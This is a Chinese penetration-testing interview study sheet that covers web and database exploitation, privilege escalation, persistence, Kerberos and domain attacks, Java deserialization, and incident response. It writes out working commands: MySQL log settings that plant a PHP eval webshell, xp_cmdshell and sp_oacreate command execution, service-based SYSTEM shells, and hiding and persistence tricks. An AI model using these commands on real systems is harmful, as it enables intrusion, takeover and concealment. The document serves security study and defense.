总字符数: 22.51K

代码: 7.21K, 文本: 8.92K

预计阅读时间: 1.17 小时

答案仅供参考,可通过其他方式获取答案

渗透

给一个网站的渗透思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
首先获取书面的授权的前提下,(无授权不上机)
1,信息收集
1.1 获取域名的Whois信息:
查询电话,邮箱,姓名,ip,等去查询看是否有其他旁站和域名,ip等
1.2 查询服务器旁站和子域名站点
看看旁站是否有通用性的CMS漏洞或者其他的漏洞
如果使用CMS的话可以看看有没有什么公开漏洞,开源的话可以下载源码进行代码审计
1.3 查看服务器操作系统版本,
Web中间件,看看是否存在已知的漏洞,比如说IIS6.0,IIS7.5,apache,NGinx的解析漏洞
1.4 查看IP,进行IP地址端口扫描,对相应的端口进行漏洞探测
比如 心脏出血漏洞,mysql,ftp,ssh弱口令等
1.5 扫如php描网站目录结构
看看是否可以遍历目录,或者敏感文件泄漏,探针,还可以看看某些文件夹,是否是一个子站,(子站有可能是通用cms,比如phpwind8,dedecms)
1.6 google hack fofa 钟馗之眼 语法搜索 等进一步探测网站的信息,后台,敏感文件
2, 漏洞探测
2.1 AWVS 御剑 AppScan Goby 等工具扫描,查看是否有已知漏洞,服务器漏洞,配置漏洞,Web应用漏洞,其他端口漏洞等(如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等)
3,漏洞利用与验证
3.1 以上所知在去做漏洞验证,结合漏洞可以去网站找可利用的点和验证的POC,也可以自己搭建模拟环境手工测试验证
3.2 利用漏洞拿到网站权限,比如WebShell
4, 权限提升
4.1 如果给企业在渗透测试就直接做修复方案了
4.2 如何给公安做渗透,需要提权,
提权有哪些?
大致分 windows提权,Linux提权 mssql提权 mysql提权
提权工具脚本: Linux_Exploit_Suggester
Windows-Exploit-Suggester
5, 日志清除
6, 修复方案

如何防御SQL注入?预编译一定能防住SQL注入吗

1
2
3
4
5
预编译、ORM框架、最小化权限原则、输入/输出验证

原理:使用参数化查询数据库服务器不会把参数的内容当作SQL指令的一部分来执行,是在数据库完成SQL指令的编译后才套用参数运行

简单的说:参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑.

SSRF

SSRF不出网无回显怎么利用?

  1. TemplatesImpl利用连
  2. C3P0二次序列化 之 hex序列化字节加载器
  3. Commons-io 写文件/webshell
    1. 低版本限制< fastjson 1.2.68
    2. 参考文章:https://xz.aliyun.com/t/12492
  4. BCEL
    1. fastjson≤1.2.24
    2. 参考文章:https://forum.butian.net/share/2040

SSRF 绕过方式

1
短地址、特殊字符、编码、进制转换、302重定向、分割、利用@绕过、反斜杠

中间件解析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
IIS解析漏洞
iis 6.0
文件夹以.asp .asa .cer .cdx 作为结尾的 此时该目录下优先当作asp解析
文件名中包含 .asp; .asa; .cer; .cdx; 此时该文件优先当作asp解析
/xx.asp/xx.jpg "xx.asp"是文件夹名
iis 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片 当成 php 解析
apache解析漏洞
apache 解析漏洞
从右往左进行解析 直到解析到能够识别的后缀名
漏洞修复
将AddHandler application/x-httpd-php .php的配置文件删除
Nginx解析漏洞
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击.
漏洞修复
1. 将php.ini文件中的cgi.fix_pathinfo的值设为0.这样php在解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404;
2. 将/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值设为.php

GetShell

Mysql

  1. show variables like '%secure%'; 用来查看Mysql是否有读写文件权限;
  2. secure_file_priv 三种状态 空:可写,固定路径:固定路径内可写,null:不可写
  1. root权限
  2. 关闭魔术引号php5.6版本后已经移除
  3. 网站根目录
  4. secure_file_priv=

MsSql

getshell
  1. 命令下载文件得到shell
  2. xp_cmdshell
  3. 绝对路径写webshell
  4. sp_oacreate写入webshell
  5. 差异备份GetShell
  6. log备份Getshell

参考文章

  1. https://xz.aliyun.com/t/8603
  2. https://y4er.com/posts/mssql-getshell/

站库分离不出网

  1. 落地EXE
    1. certutil+Powershell配合Burp快速落地文件
    2. BCP
    3. sp_makewebtask
    4. Echo
    5. Python
    6. 备份

参考文章:

  1. https://xz.aliyun.com/t/10976
  2. https://jeva.cc/2716.html

Redis

redis利用方式

  1. ssh-key
    1. redis以root用户运行
    2. ssh端口开放并且权限够大
  2. 定时任务
    1. redis以root用户运行
    2. 了解定时任务常见的目录
  3. 写入webshell
    1. redis以root用户运行
    2. 网站根目录
  4. slave 主从复制Rce

Redis 的主从模式中,通过 FULLRESYNC 同步文件到从机上,并加载相同的 .so 文件,可以实现从机上的拓展新命令的执行.

redis主从复制getshell过程:

  1. 本地编译好外部扩展即so文件
  2. 把so文件转码存入本地redis数据库
  3. 到目标服务器上设置主从关系,主服务器指定我们的本地机子
  4. 待同步后,设置备份路径和备份文件名(xx.so)
  5. 开始同步,备份数据库
  6. 然后加载备份数据库
  7. 然后就可以通过redis执行命令反弹shell了

PHPMyadmin

mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell.

开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用.

参考文章:

  1. https://xz.aliyun.com/t/3283
  2. https://www.cnblogs.com/wjrblogs/p/13453359.html

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
linux提权:
1.利用提权脚本 linux-exploit-suggester 脏牛漏洞
2.密码复用
3./etc/passwd 可写
4.计划任务提权
5.sudo提权
6.suid提权
1.利用linux-exploit-suggester 提权脚本
根据返回的结果 来寻找使用特定的payload

脏牛漏洞
原理:
当系统在进行复制时写时,通过利用对应的条件竞争,从而往只读内存中写入想要写入的内容

gcc -o xxxx -lcrypt ./dirty 123456
往/etc/passwd文件中添加一行数据 firefart

2.往/etc/passwd文件中写入内容
/etc/passwd文件默认只能由root权限进行写入 而其他用户用户均可读取该文件中的
内容
如果通过错误配置 能够允许其他用户写入/etc/passwd文件中的内容
root:x:0:0:root:/root:/bin/bash
使用:作为分隔符 第一列为用户名
第二列: 代表密码 x代表真正的密码存放于/etc/shadow文件中
第三列:uid 每一个用户应该拥有一个独一无二的uid
第四列: gid 同一个组下的用户拥有同样的gid
第五列:别名
第六列: 当前用户所对应的home目录
第七列: shell相关 /bin/bash /bin/sh 才允许登录
通过修改/etc/passwd中的对应用户(root)中的x字段 可以修改其密码
Windows提权
at 提权 (windows server 2003)(系统自带)
> at 16:16 ./interactive cmd.exe(会自动创建计划任务,结束后会弹窗执行whoami显示system)
sc (service服务)(cmd可以换成calc开启计算器)(系统自带)
> sc create systemcmd binPath= "cmd /K start" type= own type= interact
创建成功后执行> sc start systemcmd
Mysql提权
udf提权
mof提权
phpMyadmin
general_log
slow_query_log
mysql提权:
前提: 需要root用户
如何获得root用户权限:
1.尝试读取对应的配置文件
2.拥有文件读取权限 考虑读取mysql 目录下的user文件
3.导出mysql 目录下的user文件 导入到新的数据库中
phpmyadmin提权
general_log
通用日志 默认执行的sql语句会写入日志
show variables like '%general_log%'; #判断对应的配置
set global general_log = "On"; #开启日志监听
set global general_log_file = "C:/phpStudy/WWW/js/log.php"; # 设置日志存储路径
select '<?php eval($_POST[12345]);?>'; # 连接蚁剑

slow_query_log 慢查询
show variables like '%slow_query%';
set global slow_query_log = "On";
set global slow_query_log_file = "C:/phpStudy/WWW/js/slow_query_log.php";
select '<?php eval($_POST[12345]);?>' from dual where 1=sleep(20);


mysql的UDF提权和MOF提权
UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函
数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们
需要的功能。利用UDF提权需要知道root账户的密码。可以使用现成的
udf提权工具,也可以手工测试。
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格
式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用了mysql的root权限了以后,然后使用root
权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,
这个vbs大多数的是cmd的添加管理员用户的命令


SQLServer
xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,可以通过xp_cmdshell来进行提权
前提:
getshell或者存在sql注入并且能够执行命令
sql server是System权限,sql server默认就是system权限
启用xp_cmdshell
EXEC master ..sp_configure 'show advanced options',1;RECONFIGURE;
EXEC master ..sp_configure 'xp_cmdshell',1;RECONFIGURE;
通过xp_cmdshell执行系统命令
EXEC master.dbo.xp_cmdshell 'whoami'
sp_oacreate提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权
前提:
需要同时具备sp_oacreate和sp_oamethod两个功能组件
开启组件:
EXEC sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options',0;
执行系统命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\windows\system32\cmd.exe /c whoami'
通过沙盒执行命令
开启沙盒
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
利用jet.oledb执行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
通过Agent Job执行命令
修改开启Ageent Job,执行无回显CobaltStrike生成PowerShell上线


权限维持

Linux

  1. 隐藏踪迹
  • 创建隐藏文件
  • 修改时间戳
  • 文件锁定(赋予特殊权限,不允许更改):
    chattr +i shell.el
  1. 端口复用
  2. OpenSSH后门万能密码&记录密码
  3. ssh软链接
  4. ssh公私密钥
  5. 后门帐号
  6. crontab计划任务

Windows

  1. 粘滞键
  2. 隐藏文件
  3. 影子账号
  4. 启动项/服务后门
  5. 端口复用
  6. DLL劫持
  7. 计划任务

域渗透

基础kerberos

Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务.该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据.在以上情况下,Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的.

域认证所参与的角色:

  1. Client
  2. Server
  3. KDC(Key Distribution Center)=DC

KDC:

KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS

  • AD (account database):存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT
  • Authentication Service:为client生成TGT的服务
  • Ticket Granting Service:为client生成某个服务的ticket(票据)

PS:从物理层面看,AD与KDC均为域控制器(Domain Controller)

专业术语:

英文名称 中文名称
AS(Authentication Server) 认证服务器
KDC(Key Distribution Center) 密钥分发中心
TGT(Ticket Granting Ticket) 票据授权票据,票据的票据(又称黄金票据)用于身份认证存储在内存,默认有效期为10小时
TGS(Ticket Granting Server) 票据授权服务器(又称白银票据)
SS(Service Server) 特定服务提供端的票据(服务票据)

Kerberoes协议框架

用于 Kerberos KDC(Key Distribution Center)与客户端之间的通信的端口是TCP/UDP 88和TCP/UDP 464.

  • TCP/UDP 88 端口:用于 Kerberos 认证服务的通信.KDC 使用 TCP/UDP 88 端口监听客户端的认证请求,并提供身份验证和票据颁发功能.
  • TCP/UDP 464 端口:用于 Kerberos KPASSWD 服务的通信.客户端使用 TCP/UDP 464 端口与 KDC 进行密码修改操作.

Kerberoes协议的缺陷

  1. 它需要中心服务器的持续响应.当Kerberos服务宕机时,没有人可以连接到服务器
  2. Kerberos要求参与通信的主机的时钟同步.票据具有一定的有效期
  3. 所有用户使用的密钥都存储于中心服务器中,危机服务器的安全的行为将危机所有用户的密钥
  4. 一个危险客户机将危机用户密码

黄金票据,白银票据

1
2
3
4
5
6
7
8
9
10
11
12
13
kerbose 协议
DC ===> 域控
KDC ===> 密钥分发中心
AS ===> 认证服务
TGS ===> 票据授予服务
黄金票据 需要条件要求:
1.域名称
2.域的sid值
3.域的krbtgt 账户的ntlmhash值
4.伪造的用户的名称
黄金票据与白银票据的不同点?
黄金 TGT(票据授权票据) 需要与KDC交互 内置账号krbtgt的HASH
白银 TGS(票据授权服务器) 不需要与KDC交互 目标服务的HASH

域内委派

待更新

域内用户枚举

Kerberos本身是一种基于身份认证的协议,在Kerberos协议认证的第一阶段AS-REQ,当用户不存在时,返回包提示错误.当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样.所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击.

AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样

三种状态的错误代码分别为:

  1. KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在)
  2. KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(禁用 )
  3. KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(不存在)

当发送一个存在的用户时返回KRB5DC_ERR_PREAUTH_REQUIRED,并携带e-data数据

当用户不存在返回KRB5DC_ERR_C_PRINCIPAL_UNKNOWN,不携带e-data数据

所以,根据AS的返回包来对域用户进行枚举

密码喷洒

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP.否则返回 KRB5KDC_ERP_PREAUTH_FAILED

参考文章:

  1. https://blog.csdn.net/qq_44159028/article/details/123692693

横向移动

  1. psexec
  2. impacket
  3. pth
  4. wmic
  5. ms17-010
  6. 弱口令爆破

psexec

PsExec 的工作原理如下:

psexec 是通过ipc$连接admin&的,然后释放二进制文件psexecsvc.exe到目标机器,通过服务管理SCManager远程创建一个psexec的服务,并启动服务.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据,运行结束后会删除服务

关于在 Windows 日志中能够看到什么,取决于执行的具体命令和操作。通常情况下,PsExec 执行的命令和操作会在以下 Windows 日志中留下相关记录:

  1. 安全日志(Security Log):记录了与用户身份验证、授权和访问相关的安全事件。可能会包含 PsExec 连接和执行命令的信息。
  2. 应用程序日志(Application Log):记录了应用程序和服务生成的事件和错误信息。可能会包含 PsExec 执行过程中出现的相关事件和错误。
  3. 系统日志(System Log):记录了与系统运行状态和硬件、驱动程序等相关的事件。可能会包含与 PsExec 连接和执行过程中的系统级事件。

服务会生成以下

  1. PsExec 服务执行日志:PsExec 执行命令的服务会生成日志,记录执行过程中的事件、错误和状态信息,以便于后续排查和分析。
  2. 执行结果输出:根据执行的具体命令,PsExec 可能会生成执行结果的输出。例如,执行一个命令行程序时,该程序的输出可能被捕获并返回给 PsExec 所在的本地计算机。
  3. 临时文件:当 PsExec 在远程计算机上执行命令时,可能会生成一些临时文件,用于存储命令执行过程中所需的数据或中间结果。这些临时文件可以是脚本文件、配置文件或其他需要的资源文件。
  4. 日志文件:某些命令的执行可能会生成日志文件,用于记录操作的详细过程、状态或错误信息。这些日志文件可能包含在远程计算机的特定路径下,需要根据具体的命令和目标计算机配置来确定。

psexec和wmic的区别

psexec会记录大量日志,wmic不会记录日志并且更为隐蔽

Java

java内存马

https://blog.csdn.net/weixin_39190897/article/details/137379027

filter
  1. 创建恶意的filter.

  2. 创建FilterDef,里面存着filter的基本信息,例如类名.

  3. 创建FilterMap,里面是filterurl的绑定信息,换句话说就是访问哪个url时触发这个filter.可以理解成这一步是在更改web.xml文件.

  4. 通过StandardContextFilterDef创建新的FilterConfig并添加到filterConfigs中并与之前声明的filter进行配对.

  5. 访问刚刚绑定的url即可添加filter内存马.

servlet
  1. 使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的实例,任何用户都可以使用request.getServletContext()函数获取到ServletContext.

  2. ApplicationContextFacade类中封装有ApplicationContext类的私有对象,这个私有对象名为context.

  3. ApplicationContext中有StandardContext类的私有对象,名为context.

  4. StandardContext类的对象可以动态创建servletservlet的映射.

  5. 综上,任意用户都可以通过反射机制调用StandardContext类的对象来动态创建servletservlet的映射.

listener
  1. 获取 StandardContext 类对象:首先,需要获取 StandardContext 类的对象.这可能涉及到获取当前正在运行的 Web 应用程序的上下文,或者通过某种方式获取对应的标准上下文对象.
  2. 创建恶意 Listener:在获得 StandardContext 对象后,您需要编写一个恶意的 Listener,并将其实现逻辑放在该 Listener 的 requestInitialized() 方法中.这个方法会在每次请求初始化时被调用,因此适合用来执行恶意代码.
  3. 将恶意 Listener 添加到 StandardContext 中:使用 StandardContext 类的 addApplicationEventListener() 方法,将恶意的 Listener 添加到标准上下文中.通过调用该方法并传递恶意 Listener 对象作为参数,可以将监听器注册到应用程序上下文中.
agent

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法

Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去

说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)

  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

查杀
  1. 关机
  2. 重启服务器/服务
  3. WEB.XML

内存马查杀工具的原理是通过扫描和分析进程的内存空间,检测恶意代码或行为的痕迹,从而确定是否存在内存马(Memory-based Malware)的存在

  1. 内存扫描:内存马查杀工具会扫描系统中正在运行的进程的内存空间.它会遍历每个进程的内存页,并对其中的二进制数据进行分析.
  2. 特征码匹配:查杀工具使用特征码(Signature)来匹配已知的恶意代码或行为.这些特征码是经过研究和分析的指纹,用于识别特定的恶意软件.
  3. 行为分析:除了匹配特征码外,内存马查杀工具还可以进行行为分析.它会检测进程的行为模式,例如修改系统关键文件、劫持系统调用等,以确定是否存在恶意活动.
  4. 异常检测:内存马查杀工具也会检测与正常进程行为不符的异常情况.例如,检测隐藏的进程、非法代码注入等,以发现潜在的内存马.
  5. 检测报告:当查杀工具发现可疑的内存马迹象时,它会生成相应的检测报告.这个报告通常包括发现的恶意代码、进程名、文件路径等相关信息.

JAVA反序列化以及组件

序列化:将内存中的某个对象压缩成字节流的形式

JAVA原生反序列化漏洞成因

Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.
而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码

防御方式:用tranisent关键字来标记不希望被序列化的字段

shiro反序列化原理

反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化.由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞

1
登陆失败时候会返回rememberMe=deleteMe字段或者使用shiroscan被动扫描去发现这里我简述了,可以讲完整一点1.未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有 deleteme字段2.登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteme字段3.不勾选RememberMe字段,登陆成功在返回包set-Cookie会有rememberMe=deleteMe字段,但是之后的所有请求中Cookie都不会有rememberMe字段4.勾选RememberMe字段,登陆成功的话,返回包set- Cookie会有rememberMe=deletee字段,还会有rememberMe字段,之后的所有请求中Cookie都会有 rememberMe字段

shiro有几种漏洞类型

shiro 550, shiro 721

550是远程代码执行漏洞,721是访问控制漏洞,也被称之为session访问控制绕过漏洞

Weblogic 反序列化原理

利用Apache Commons Collections 实现远程代码执行

特殊的接口,接口的类(Invoker Transformer)通过调用Java反射机制,调用任意函数,实现响应的功能

Weblogic反序列化漏洞的几个利用阶段
  1. 直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
  2. 利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551
  3. 通过 javabean XML方式发送反序列化数据.(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)
Log4j2 反序列化原因

该漏洞主要是由于日志在打印时当遇到 ${后,以:号作分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的1ookup,通过对应的1ookup实例调用1ookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞

核心原理为,在正常的1og处理过程中对**${**这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

日志在打印时当遇到${后,Interpolator类以:号作分割,将表达式内容分割成两部分, 前面部分作为 prefix,后面部分作为 key。然后通过prefix去找对应的 1ookup,通过对应的1ookup实例调用1ookup方法,最后将key作参数带入执行

漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作.

根据官方描述作用是把接受到的LoggingEvent作为本地的日志记录事件,再使用在服务器端配置的Log4J环境来记录日志.默认可能会开启在4560端口中.

Fastjson反序列化原理——-不具体

Fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型.如果指定的类型太大,包含太多子类,就有利用空间了.例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类.例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类.

判断版本号的方法
  1. 显错判断
  2. DNS请求判断
  3. TCP、UDP端口请求判断
  4. 延迟判断

参考文章:https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA

1.x RCE

@type

fastjson不出网怎么打

当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码

Jboss 反序列化原理

过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞.

docker逃逸

  1. 特权模式逃逸
  2. docker.sock挂载逃逸
  3. Remote API未授权访问
  4. 容器服务缺陷逃逸
  5. 脏牛漏洞逃逸

参考文章:

https://xz.aliyun.com/t/12495

k8s攻击面

  1. 攻击K8S组件

  2. 攻击节点对外服务

  3. 攻击业务 pod

  4. 容器逃逸

  5. 横向攻击

  6. 攻击 K8S 管理平台

  7. 攻击镜像库

  8. 攻击第三方组件

参考文章:

https://www.freebuf.com/articles/network/342587.html

https://www.freebuf.com/articles/web/343209.html

Java/PHP代码审计流程

反向查找

反向查找流程

  1. 通过可控变量(输入点)回溯危险函数
  2. 查找危险函数确定可控变量
  3. 传递的过程中触发漏洞

反向查找流程特点

  1. 上下文无关

  2. 危险函数,导致漏洞

使用反向查找流程挖掘漏洞

  1. 危险函数全局查找
  2. 自动化审计工具

正向查找

正向查找流程

  1. 从入口点函数触发
  2. 找到控制器,理解URL派发规则
  3. 跟踪控制器调用,以理解代码为目标进行源码阅读
  4. 阅读代码的过程中,可能发现漏洞

正向查找特点

  1. 程序员疏忽或逻辑问题导致漏洞
  2. 需要极其了解目标源码的功能与架构
  3. 跳跃性大:涉及MVC/Service/Dao等多个层面
  4. 通常是多个漏洞的组合,很可能存在逻辑相关的漏洞

双向查找流程

双向流程特点

  1. 理解程序执行过程,找寻危险逻辑
  2. 需要同时掌握正向,反向挖掘技巧及特点

管理与保护

发现系统漏洞后,你的应急响应流程是什么

隔离受影响系统→评估漏洞危害→修补或临时缓解→通知相关方→记录事件并复盘。

实际项目:Windows域内10台主机,有一台主机(安全设备中:FRP流量回连)

  1. 确定失真性:在别人传递消息的过程中,信息很可能会产生一定的失真.确保在传递消息时采取合适的沟通方式,并尽量减少信息失真的可能性.
  2. 保护现场环境:如果需要保存木马样本,可以使用微步在线分析木马样本,并向客户展示分析结果.这样可以帮助客户更好地了解木马的行为和威胁程度.
  3. 询问业务系统重要性:在发现安全问题时,首先要确认业务系统的重要性.如果允许断网,那么优先断网以防止进一步的攻击.如果不能断网,可以考虑进行逻辑隔离或物理隔离,并将当前机器的IP加入黑名单.同时,关闭其他安全机器上的危险端口,并修改密码以增强安全性.
  4. 排查已经连进来的情况:根据时间线排查Windows日志或联动安全设备日志,以确定入侵时间.通过这些记录告知客户入侵发生的具体时间.
  5. 排查服务器日志和Web日志:仔细检查服务器日志和Web日志,寻找可疑的活动和异常访问.这有助于确定安全事件的来源和影响范围.
  6. 在分析过程中,及时截图并产出报告.根据需求,可以采取一些防御措施,如终止可疑进程、修改密码和加强服务器的安全加固等措施,以减少潜在风险和进一步的攻击.

Windows事件ID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
事件ID
1. 应急常见ID
1. 4624 成功登录 安全日志
2. 4625 登录失败 安全日志
3. 4776 成功/失败的账户认证 安全日志
4. 4720 创建用户 安全日志
5. 4732 添加用户到启用安全性的本地组中 安全日志
6. 4728 添加用户到启用安全性的全剧组中 安全日志
7. 7030 服务创建错误 系统日志
8. 7040 IPSEC服务的启动类型已从禁用更改为自动启动 系统日志
9. 7045 服务创建 系统日志
2. 登录相关日志
1. 4624 用户登录成功
2. 4625 用户登录失败 (解锁屏幕不会产生这个日志)
3. 4672 特权用户登录 administrator登录4624和4672日志一起出现
4. 4648 显示凭证登录
3. 启动事件日志
1. 1074 关机初始化失败 警告日志 User32
2. 13 关机日志 信息日志 系统日志
3. 12 启动日志 信息日志 系统日志

Linux应急响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1. 查看是否有弱口令 是否有敏感端口对外开放
2. 查看是否有新增可登录用户 cat /etc/passwd | grep -E 'sh' cat /etc/shadow | grep -E '(\$1|\$6)'
3 .查看历史命令 history history -c 对应的用户 cat /home/user_name/.bash_history rm
4 .查看端口 netstat -anltp 对外ip established
5. 查看进程 ls -al /proc/pid/exe ps aux | grep pid
6. 启动项 rc.local rc/rc[0-6].d
7. 计划任务 crontab -l /var/spool/cron xxxx
8. 服务 chkconfig --list chkconfig service_name on/off
9. 敏感文件 /tmp .开头的文件或者目录
10. 当前登录用户 w who users tty pts
11. 安装杀软 clamav
12. rootkit 专杀 rkhunter chkrootkit
13. 基线脚本
查询管理员权限用户
# cat /etc/passwd | awk -F: '$3==0{print $1}'
uid或gid为0的用户
# cat /etc/passwd | awk -F: '$3==0||$4==0{print $1}'
判断哪些拥有有权限切换为其他任意用户
# cat /etc/sudoers | grep -v '^#' | tr -s '\n' | awk '$2 ~ /(ALL)|(ALL:ALL))/{print $1}'
查看当前登录用户(tty本地登陆 pts远程登录)
# who
kali tty7 2022-02-21 20:00 (:0)
root tty8 2022-02-21 20:53 (:1)
kali pts/1 2022-02-21 21:45 (192.168.163.1)
服务
查看服务
# chkconfig --list
开启服务和关闭
# chkconfig httpd [on|off]
检查异常文件
# find / -name "*" -atime 1 -type f
lastb 用户错误的登录列表
lastlog 所有用户最近一次登录信息
last命令 记录所有用户的历史登录 登出

Webshell特征

菜刀webshell流量分析

  1. “eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
  2. (base64_decode($_POST[action])),(base64_decode($_POST[action]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
  3. &z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=,该部分是传递攻击payload,此参数z1对应$_POST[z1]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文

冰蝎v2

  1. 当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端
  2. 冰蝎第二次访问服务器时以相同方式更新密钥
  3. 经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中

冰蝎v3

3.0 相比 2.0 少了动态密钥的获取的请求

  1. aes密钥变为md5("pass")[0:16]意思为连接密码32位md5的前16位.

全程不再交互密钥生成,一共就俩次请求,

  1. 第一次请求为判断是否可以建立连接,少了俩次get获取冰蝎动态密钥的行为,
  2. 第二次发送phpinfo等代码执行,获取网站的信息

冰蝎 V4

  1. 客户端把待执行命令作为输入,利用AES算法或XOR运算进行加密,并发送至服务端;
  2. 服务端接受密文后进行AESXOR运算解密,执行相应的命令;
  3. 执行结果通过AES加密后返回给攻击者.

哥斯拉

将加密数据与密钥按位异或,即可加密(解密)得到加密数据(原始数据)

如何在企业中防护 SSRF 和 CSRF 这类攻击?

